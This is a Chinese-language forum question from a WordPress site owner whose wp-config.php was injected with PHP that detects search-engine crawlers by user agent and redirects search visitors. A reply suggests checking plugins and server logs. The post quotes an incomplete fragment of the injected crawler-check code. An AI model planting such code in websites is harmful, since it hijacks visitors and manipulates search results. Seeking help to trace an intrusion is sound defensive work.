【问题描述】：
我将代码注入我的一个网站。我找不到罪魁祸首。我用 BackupBuddy 下载了这个网站，它显示了注入的代码，如下：
<?php
$referer = $_SERVER['HTTP_REFERER'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$tmp = strtolower($_SERVER['HTTP_USER_AGENT']);
if (strpos($tmp, 'google') !== false || strpos($tmp, 'yahoo') !== false || strpos($tmp, 'bing') !== false ||
strpos($tmp, 'aol') !== false || strpos($tmp, 'sqworm') !== false || strpos($tmp, 'bot') !== false) {

此代码位于 wp-config.php 的最顶部 - 但是，当我通过 FTP 登录时，此代码不存在。因此，它会重定向所有尝试通过搜索引擎访问的用户。
我将如何追踪实际的注入文件？我已经对所有内容进行了 GREP，正在寻找对 wp-config.php 的任何引用。
我也从 index.php 开始，并通过 wp-blog-head.php 和 wp-load.php 工作 - 我似乎无法找到它的前置位置。
提前谢谢大家！

只是试图提供尽可能多的信息 - 我已经阅读了该代码，它非常简单。我已经能够删除黑客。但我只是在努力寻找它现在是如何再生的。

您的某个 WP 插件或 WP 本身（如果它是旧版本）可能存在一些安全漏洞。您必须删除“hack”，并查看 Apache 中的访问日志和错误日志，以了解漏洞在哪里。听起来有人找到了利用您网站的方法，他们会继续这样做，直到您修复漏洞
